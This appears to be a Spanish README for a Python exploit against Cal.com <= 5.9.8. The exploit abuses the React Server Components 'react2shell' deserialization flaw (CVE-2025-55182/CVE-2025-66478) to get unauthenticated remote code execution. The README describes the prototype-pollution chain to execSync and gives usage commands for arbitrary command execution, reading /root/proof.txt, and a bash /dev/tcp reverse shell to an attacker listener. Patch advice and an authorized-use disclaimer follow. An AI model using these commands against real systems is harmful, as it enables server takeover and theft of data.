
Ejecución remota de código no autenticada en Cal.com
<= 5.9.8 mediante el fallo de deserialización "Flight" de los React Server Components —
"react2shell" (CVE-2025-55182 en React, CVE-2025-66478 en Next.js).
Cal.com incluye un Next.js 15.x vulnerable. Una única solicitud POST / no autenticada que lleva una
cabecera Next-Action y un payload Flight multipart construido recorre una cadena de
prototype pollution (__proto__:then + constructor:constructor) hasta un eval del lado del
servidor, alcanzando child_process.execSync. La salida del comando se devuelve en línea en el campo
digest del error RSC. Sin autenticación, sin interacción del usuario — una sola solicitud es RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router con RSC)5.9.9 (actualiza el Next.js incluido)3000pip install requests
# comando único (la salida vuelve en la respuesta)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# shell inversa interactiva (primero ejecuta `nc -lvnp 4444`)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
El comando único devuelve su salida en línea mediante el digest del error RSC. El modo --shell
lanza una shell inversa bash /dev/tcp desprendida con setsid (el contenedor del objetivo es
Debian e incluye bash).
Actualiza Cal.com a >= 5.9.9 (cualquier Next.js parcheado: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). No expongas el manejador de funciones de servidor RSC a clientes no
confiables y no ejecutes el contenedor de la aplicación como root.
Solo para pruebas de seguridad autorizadas y educación. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de prueba.